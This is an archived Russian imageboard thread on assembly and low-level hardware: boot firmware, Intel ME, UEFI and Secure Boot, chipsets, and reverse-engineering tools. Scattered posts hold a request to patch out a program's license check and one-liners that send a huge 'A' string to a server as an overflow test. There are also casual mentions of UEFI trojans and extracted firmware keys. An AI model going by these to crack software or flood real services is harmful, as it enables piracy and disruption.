Я вам ещё скажу. Не знаю насчёт IBM PC, но в других компьютерах бывает, что процессор прямо в себе содержит ПЗУ, которое заложили его создатели. Оно совершенно секретное. После включения, процессор выполняет код, заложенный в этом ПЗУ. При этом, он даже не использует оперативную память компьютера! Вместо оперативной памяти, он использует собственную кэш-память, которая встроена прямо в процессор. Т.е. информация вообще никак этот процессор не покидает. Что там делает процессор - одному богу известно.
В принципе, возможно обновить прошивку ПЗУ, размещённую в процессоре. Однако, процессор эту прошивку обязательно проверяет на вшивость (с помощью цифровой подписи). И левую прошивку отторгает. Это означает, что только производитель процессора может выпустить прошивку для него.
Что можно добиться такими средствами? Насколько знаю, так в игровых консолях XBox можно проверять - подлинные ли DVD диски, с которых вы играете, или пиратские. Вроде, XBox ещё никто не взломал, не зачипировал.
Можно ещё применять всё это для того, чтобы шпионить за юзером. Какого-нибудь шпионского ПО. Для программных и аппаратных закладок.
Можно сделать так. В процессоре есть небольшой код, который проверяет установленную операционную систему на вшивость. Допустима ли она на этом компьютере? Не была ли она как-то модифицирована или взломана?
Там проверяется не вся ОС, а лишь та её небольшая часть, куда будет передаваться исполнение. Загрузчик ОС.
А уже сам загрузчик, если он правильный, дальше может проверить всё остальное.
Спасибо, анон, очень годно. А по каким книгам ты это изучаешь? Откуда знания получил?
Это называется многолетний опыт специалиста. Такое узнаешь не из какой-то одной книги.
Это надо годами интересоваться предметом, читать массу книг, статей, интернет. Отовсюду.
По идее, именно такие люди должны читать студентам лекции в университете. Проблема в том, что годные специалисты хотят больших денег за свои знания. Увы, наши ВУЗы не всегда могут такое позволить себе. Так что нанимают кретинов за копейки - чтобы хоть кто-то был, и что-то читал.
Ищите видеолекции на youtube, там встречаются годные персонажи.
Про ассемблер есть книга за авторством Зубкова. Выпущена году в 2000. Хорошая вещь.
спасибо большое анон. а кем ты работаешь?
Спасибо, анон ещё раз. Теперь многое на места встало после твоих постов. Выходит что это от чипсета зависит в основном с какими процессорами и памятью материнская плата может работать корректно
Всё устроено так, что материнская плата (и её чипсет), процессор и память должны подходить друг к другу. Что от чего зависит - бессмысленный вопрос.
поясни за обновления микрокода, пожалуйста. стоит ли их устанвливать где находится та информация что они обновляют и т.д. в линуксе такая функция есть когда загрузчик устанавливаешь
> Я вам ещё скажу. Не знаю насчёт IBM PC, но в других компьютерах бывает, что процессор прямо в себе содержит ПЗУ, которое заложили его создатели. Оно совершенно секретное. После включения, процессор выполняет код, заложенный в этом ПЗУ. При этом, он даже не использует оперативную память компьютера! Вместо оперативной памяти, он использует собственную кэш-память, которая встроена прямо в процессор. Т.е. информация вообще никак этот процессор не покидает. Что там делает процессор - одному богу известно.
прчел, ты в берлоге без интернета живёшь? года эдак с 2009го во все трубы трубят про железный бэкдор "Intel ME" - процессор внутри процессора.
https://en.wikipedia.org/wiki/Intel_Management_Engine#Assertions_that_ME_is_a_backdoor
А в чём проблема? Читаешь документацию по кодингу на твоём железе, реверсишь через ИДУ/Гидру. Это даже проще, чем игры ковырять, где ООП криво декомпилится и десятки тысяч функций.
двачую. на железо обычно много кода не делают потому что чем больше года тем больше ошибок, а это критично для всяких прошивок, бивосов и прочего.
я когда пиздюком был не понимал почему они не добавляют в поддержку биоса более лучшее разрешение, мышь и т.д. а потом понял что это усложнение прошивки и как результат больше шансов на сбой и прочую хунйю
я не умею в байтоёбство, только в скриптовое программирование.
плюс занят другими вещами, поэтому проще нанять кого-то, кто уже разбирается, чем разбираться самому.
>>364543
на железо обычно делают всякие обфускации и "проверки цифровой подписи", и для обхода всего этого нужно быть хардкорным байтоёбом-реверсером.
да цифровую подпись наверное вообще не обойдёшь тут надо только в прошивке выполнение механизма проверки впиливать, либо сертификат менять.
ето да, но относительно простые виды защиты типа AES шифрования обойти теоретически можно.
вот, например, один пчел отбайтоёбил прошивальщик самсунга и достал из него IV и KEY: https://github.com/chrivers/samsung-firmware-magic/
пчел, уефи - это и есть
> усложнение прошивки и как результат больше шансов на сбой и прочую хунйю
увеличением потенциальных ошибок в коде вследствие усложнения логики прошивки.
слыхал, тебе анон >>364553 написал что уэфи это по сути усложнённый и расширеный биос
>>364565
удваиваю, но дополню что уефи расширяется за счёт сторонних программ которые необязательно могут быть на микросхеме с прошивкой, это может быть программа .efi на загрузочном диске, жёстком диске типа менеджеров загрузки винды и загрузчиков и если отказаться от работы устройства на котором есть стороннее efi приложение или заменить его то это пофиксит проблему. А вот если жопа в прошивке от это уже серьёзная проблема
он прав. чем сложнее программа тем больше ошибок.
кто-то говорит что это безопасность, но на самом деле если в простой модели типа bios mbr дыра сразу видна, то в сложной их много мелких и тот кто захочет тот найдёт и когда он запустит какую-то жопу диагностировать откуда что и куда залезло гораздо будет сложнее чем в том же bios mbr моделе где было сразу ясно что переписаны просто первые 512 байт загрузчика и всё это часто фиксилось вручную в 16 ричном редакторе
да, уефи умеет в Secure Boot, что при правильной настройке даёт дополнительную защиту от кибержуликов, особенно при физическом доступе к твоему устройству.
у BIOS такой защиты в принципе нет.
но, к сожалению, мало какие устройства дают пользователям возможность настройки Secure Boot, и поэтому шизы считают, что Secure Boot создан исключительно для того, чтобы на их нубуки нельзя было установить прыщеблядикс, а только исключительно винду.
> и когда он запустит какую-то жопу диагностировать откуда что и куда ...
и тут верно, я уже штук десять троянов под уефи встречал. ещё предлагали купить приватный, но тогда не было денег, а сейчас нет тех контактов, лол
>чтобы на их нубуки нельзя было установить прыщеблядикс, а только исключительно винду.
ну тащем-то этот секьюр бут действительно анальная хуйня, там реально есть узкий набор сертификатов и всё если его нет то соси. у меня кстати на ноутбуке если дефолтнуть уефи на заводские по умолчанию секьюр бут отключён что как бэ намекае. но с другой стороны большинству людей кроме загрузки винды нихуя не надо так что впринципе он логичен, а прыщеблядискам вечно всё не то: то железо, то руки не те, то ещё что-то не то.
тупо натыкали ещё доп. проверок по сертификатам.
> ну тащем-то этот секьюр бут действительно анальная хуйня, там реально есть узкий набор сертификатов и всё если его нет то соси.
широко распространённое заблуждение, по причине
> мало какие устройства дают пользователям возможность настройки Secure Boot
на нормальных серверах и нубуках "ынтырпрайз" сегмента типа сынкпадов можно залить свои PK,MOK,KEK,ЧЕБУРЕК
> тупо натыкали ещё доп. проверок по сертификатам.
и это хорошо, потому что если у тебя нормальное устройство и ты зальёшь свои ключи в базу секуре бута, то мимокрокодящий кибержулик не сможет ребутнуть твой ноутбук, загрузиться с LiveCD винды и залить какое-нибудь говно в загрузчик, т.к. уефи увидит, что у LiveCD подпись какого-то майкрософта, а не твоя.
а на 99.99999% других устройств он может так сделать, т.к. ключи майкрософта со своих устройств удаляет в лучшем случае один человек из десяти миллионов.
а тогда нахуя секьюр бут который нельзя настраивать? он видимо выполняет функцию чисто чтобы винду не подменил никто?
именно, Ватсон!
→→→
> поэтому шизы считают, что Secure Boot создан исключительно для того, чтобы на их нубуки нельзя было установить прыщеблядикс, а только исключительно винду.
на большинстве consumer-grade устройств ненастраиваемый секуре бут для того, чтобы
а) шизы не могли установить свой прыщеблядикс вместо какой надо операционной системы
б) кибержулики не могли прописать малварь в загрузчик винды. но они один хуй это могут
спасибо, понял. годно, анон. самый просветлённый тред по низкому уровню на всей борде. я раньше подобными вопросами заёбывал всех в /s/ в linux треде, но в asm гораздо более прошареные анончики сидят. годно очень, спасибо.
а ещё есть такая хуйня, как вендор-лок оперативной памяти: https://hannuhartikainen.fi/blog/hacking-ddr3-spd/
- гейбуки не дают запускать память с большой частотой, но иногда можно перепрошить контроллер на планке оперативы, чтобы он всегда работал на низкой частоте.
а ещё есть такая хуйня, как "Memory reference code", или "mrc.bin" https://doc.coreboot.org/northbridge/intel/haswell/mrc.bin.html
- старые материнки не запустятся, если в биосе не будет этого файла.
> стоит ли их устанвливать
да - обычно они исправляют "железные" ошибки в процессоре на "софтовом" уровне.
> где находится та информация что они обновляют
внутри самого процессора))))

https://resources.infosecinstitute.com/topic/system-address-map-initialization-in-x86x64-architecture-part-1-pci-based-systems/
https://resources.infosecinstitute.com/topic/system-address-map-initialization-x86x64-architecture-part-2-pci-express-based-systems/
драм, синхронизация и тд.
https://user.eng.umd.edu/~blj/talks/DRAM-Tutorial-isca2002.pdf
https://user.eng.umd.edu/~blj/DRAM/
>он прав. чем сложнее программа тем больше ошибок.
Дааа, не факт. Все эти UEFI не такие уж и большие софтины. Пусть она и побольше, но всё равно её реально хорошо написать практически безошибочно.
Повозиться придётся, конечно. Возможно, даже формально верифицировать (ну это я уже мечтаю).
Только кто бы это всё оплатил... Обойдётся в копеечку.
Скорее, всё так есть, как оно есть сейчас - оттого, что выхлоп не соответствует затратам.
но это только x86, на других архитектурах может чуть иначе. но в общем похоже, что в некоторых физ адресах из доступного адресного пространства может быть мусор, потому что туда ничего не замаплено. или, если адресное пространство маленькое, то доступной памяти будет меньше.
https://web.eecs.umich.edu/~prabal/teaching/eecs373-f11/labs/lab3/index.html
https://inst.eecs.berkeley.edu/~cs61cl/fa08/labs/lab25.html
https://www.cs.cornell.edu/courses/cs4410/2018su/lectures/lec02-devices.html
https://www.mathcs.emory.edu/~cheung/Courses/355/Syllabus/6-io/addressing.html
https://docs.oracle.com/cd/E19253-01/816-4854/index.html
https://lwn.net/Kernel/LDD3/
https://lwn.net/Articles/250967/
>А по каким книгам ты это изучаешь?
Это - не какое-то сакральное знание. Процессор и чипсет образуют схемотехническое единство. Можешь разбираться в этом, читая чипсетные дэйташиты. В настольных ПК PCIe - основной интерфейс периферии. Вникай в спецификации. Там всё понятно описано. Ну это главное, с чего можно начать.
А разве это не ты Таненбаума читал последние полгода? Там это всё упоминается, вроде.
Это я, я засираю вам тред с осени 21го года своими вопросами нафажными. Щас я читаю книгу, вернее дочитваю что мне здесь советовали по асму x86, я бы и раньше дочитал и к x64 перешёл но там война началась и был поглощён информаицонным полом, сильно отвлёкнся на него на целых 2 месяца.
Ну там я читал только 1 его книгу про общее описание операционных систем. Там про чипсеты вроде ничего не помню, про жд помню, про файловые системы помню, про ядра винды и линукса помню, про файловые системы, про многопроцессорные системы помню ну и про безопасность помню.
А вот подробно про чипсеты я не помню. Хотя вроде бы про шины он там описания давал. Но я ещё до него архитектуру пк читал про то как процессоры делают, там больше схематехник и цифровая логика была нежели аспекты программирования
Спасибо, анон, больше посмотрю потом если дойду. А то столько всего итак запланировано почитать
смешной тейк, учитывая что код для современного железа в принципе ориентирован на уефи и потребует сотню костылей и заглушек если васян попробует вогнать в свой сетап самопальный биос
Я думаю что человек который способен писать .efi приложения врядли является васяном
а ведь это адресное пространство не так часто используется. как правило устройства обменяются с процем инфой через dma используя озу. ну типа жд отправляет инфу в озу а проц её оттуда по определённым адресам закреплённым на жд читает поотм кладёт туда что-то и жд это читает ит.д.
Просто в этой низкоуровневой теме постоянно приходится гуглить как не в себя.
Какой справочник? Машинных команд? Команд ассемблера? Как он должен быть организован, по-твоему? Начни с шапки.
>существует ли какой удобный справочник комманд
Открываешь мануалы intel по x86, читаешь. Там 3000 страниц текста, включая описание всех команд.
попробуй двойные "
Ну скажи как определяется что процессор щас в том режиме в котором какие-то инструкции выполнять нельзя? в каком-нибудь регистре флаги указывают это да?
да, контрольные регистры в x86, кроме этого должны соблюдаться дополнительные условия, в зависимости от режима.
мерси. ну я щас про стек на примере линукса читаю, виртуальное адресное пространство. вот это всё. впринципе в книге ещё 100+ страниц осталось может я там до этого дойду, просто нетерпелив
наебал. привелегии указаны в сегментах кода, данных и селектора, а в длинном режиме процессор проверяет бит в таблице страниц.
В интернете много информации по этой теме, но лучше спросить у живых людей с опытом. Собственно, вкатываюсь в реверс, чтобы портировать и мододелить старые игрушки. Какой дизассемблер посоветуете? IDA - слишком дорого и сложно для новичка. Гидра - смущает java и авторы поделия. Может быть radare2 или gdb?
Помогите нубу. Запутался и вообще не вдупляю, почему вместо суммы печатает гарбидж.
>>371109
Что за книжка, анон?
> слишком дорого
Куда ещё дешевле чем бесплатно?
> сложно
За пол дня разберёшься, всё ещё лучший вариант для декомпиляции крестов.
> смущает java и авторы поделия
Это тебя не должно ебать. А вот ограниченность функционала должно, в целом декомпилит получше иды, но функционал такой себе.
> старые игрушки
> radare2
Ебанутый?
> gdb
Ты точно ебанутый. С дурки начни, а не с дизассемблинга.

Байтогоспода, снизойдите до казуала. Не могу понять почему во всех hex редакторах игнорируется самый младший рязряд в нумерации адресов, и вместо счёта 0, 1, 2, 3, 4... пишут 0, 10, 20, 30, 40...
С гуглом обосрался, нахожу только флуд не по теме, от кулхака учащих считать в шестнадцатиричной системе, до школоты пересказывающей msdn.
С меня мешок нихуя (инфляция ¯\_(ツ)_/¯ ).
Так спрва от колонки адресов - строка по 16 (10H) байт. Тут адреса первых байтов в строках.
Работать с инструментом надо, а не на скриншоты маняфантазирвать.
Блин, как же я сразу недопёр. В который раз задаюсь вопросами, на которые убиваю кучу времени, а потом испытываю с этого испанский стыд.
>Работать с инструментом надо
Я пытаюсь(
спасиб анон
Кстати, и в обход кэшей тоже.
NSA FBI MI6 HUIPIZDA двадцать лет используют железный бэкдор в процессорах
@
всем похуй
русские хакеры тоже решили воспользоваться железным бэкдором
@
КОШМАР! ГОЛАКТЕКО ОПАСНОСТЕ! ЗАПРЕТИТЬ! НИПУЩАТЬ!
алсо вот вам ещё полезный видос про SMM и память youtu.be/lR0nh-TdpVg
Интересовало по теме exploit development - EXP301, EXP401 и подобное
очень часто в разных туторах слышу слово - память
типо программа использует память, операционка ложит программу в память, программа обращается к памяти, возник вопрос, а что такое эта самая память то? если в простых терминах
как об этом думать концептуально? просто как о массиве где индексы целые числа? а значения что угодно?
второй вопрос есть ли какая то книга по асм которая не только бы учила асм, но при этом учила бы намного глубже понимать что такое комьютер (ос память, ввод вывод)
спасибо!
Про память еще забыл это - What Every Programmer Should Know About Memory она правда старая и от красношапки, но мне в свое время понравилось
> есть ли какая то книга
х86: https://cdrdv2.intel.com/v1/dl/getContent/671200
Арм: https://developer.arm.com/documentation/ddi0487/ha/?lang=en
Остальное кал и ненужно.
Вот где бы такую найти? А то хочется знать как и чипсет работает.
алсо изучишь, как работает чипсет и DMA - стучи.
мне не только реверсеры контроллеров и софта под Linux нужны, но и кодеры по этой же теме.
скорее всего такая документация есть, но закрыта за регистрациями и подписаниями NDA, поэтому проще пошерстить по торрентам.
Спасибо, анончик. Ну короче я понял. И программисты процессора и те кто пишут драйвера они не сами как правило не особо понимают что там происходит во время передачи данных между их устройством и процом. Всё упирается в команды и в какие-то адреса абстрактной памяти через которые и обмениваетются устройства данынми с процом.
Даташиты/спецификации интелловских чипсетов:
https://www.intel.com/content/www/us/en/products/details/chipsets/desktop-chipsets/docs.html?s=Newest
Cпасибо, анончик. Сохрнил в архив когда-нибудь почитаю
А есть варианты выпилить часть ассемблерных инструкций или наоборот впилить переход на свои инструкции в исполняемый файл одной программы? Мне нужно активацию на про версию в одной программе обойти, вот хочу чтобы она при запуске вообще миновала код отвечающий за всякаую проверку лицензий и прочего говна.
то есть не в winapi функции на с или с++ написаны?
Да бери любой на английском и копируй по абзацу в яндекс или гугл переодвчик. Вполне читабельно.
Пожалуй бамп.
читаешь как делаются элементарные триггеры "в железе", а дальше алгебра логики
https://nandgame.com/
Ну чё туда такое принципиально новое внесли? Тупо расширили разрядность регистров, и прокачали математическую часть с дробными числами. Я просто по x64 книгу читаю и там весь упор сделан только на обсуждение регистров x64 и математической части с числами с плващющей запятой, регистры XMM YMM обсуждаются

Я нуб. Понятно, что это не работает (не уверен, как именно, но ответ "защита" меня пока устраивает; по крайней мере ошибок в коде я не вижу). Как заставить это работать?
.data секция read-write-no-execute
https://stackoverflow.com/questions/25311861/execute-a-piece-of-code-from-the-data-section
Да нет, я понимаю, что права rw- выставлены. Не указал в вопросе, что мне для линукса надо. Плюс очень хотелось сделать это, не копируя код на стек/кучу, хотя может я чего-то и здесь не понимаю.
В результате сделал вот так, очень уродливо:
https://pastebin.com/pETsnacq

Дальше выкатиться в c, чтобы можно было скачать исходники ядра линукса и почитать их немного, ну или чтобы уметь написать свой модуль ядра для своего железа уровня б, собранном на ардуине каком-нибудь.
Далее с этой отправной точки параллельно долбить три направления:
1. Gnu assembler, чтобы дизасемблировать свои же программы и драйвера, понимать, как это работает на низком уровне.
2. Программирование микроконтроллеров, уже без ардуино и своими печатными платами с паяльником в руке
3. Сети, ну чтобы можно было собрать свою инфраструктуру и понимать это глубже, чем просто в роутер витую пару обжать.
Если по c++ и c все понятно, то по железу, сетям, ассемблеру, пайке и микроконтроллерам мне надо небольшие, но емкие книги или видеокурсы. Я не могу читать это 10 лет, но почитывая немного за пару лет освоить хотелось бы. Это самый адекватный тред тут, чтобы спросить подобное. Так что пишите мне советов мудрых.
Как эти режимы адресации из инструкции в байтовом представлении выудить?
Как e8 1a fa ff ff дизассемблируется в call 10a0, а ff d2 - в call ✵%rdx?
Надеюсь, что в мануале будет ответ, но может тут у кого есть на уме.
Первый раз слышу про libopcodes, но походу это то, что мне надо. Вопрос исчерпан.
perl -e 'print "A" x 16777216';
serv.send(b'A' * 0x1000000)
Ok, дело в представлении байтами b'A' - если подставить вместо перла однострочник на питоне с принтом повтора строки, получаю ожидаемое поведение
нет
Да. Была архитектура на троечку, стала на 3+ (раньше регистров совсем было мало для ЯВУ).
Однако сейчас уже ясно что чисто физически из этого выжато всё что можно: плотность транзисторов достигла максимума, гигарецы разогнаны по максимуму, быстрее уже физика не пвозляет. То есть новые регистры ядра уже не впихнуть, да и ггц не нагнать.
И сейчас упор на прирост производительности будет делаться за счёт алгоритмов, создания регистров и команд специального назначения типа как в книге по ассемблеру x64 написано, что мне здесь советовали. Там рассказывается про avx avx2 avx512 вот все наборы расширений. Там есть например специальные команды которые позволяют избегать лишних команд условного перехода, лучше обрабатывать определённые типы данных и просто много параллельно типа упакованных чисел. То есть на это упор всё будет идти. Будут возможно конвейры оптимизировать.
Да и что тут думать я с 2012го года заметил что прирост в памяти и гигарецах с ядрами в техники нет. Сейчас стабильно ноутбуки бюджетные с 4-8гб оперативы продаются с 2-4 ядерными процессорами тоже самое в 2012ом году было. Кстати. Единственное что поменялось это ssd начали ставить вместо механического жд.
Это копия, сохраненная 4 августа 2022 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.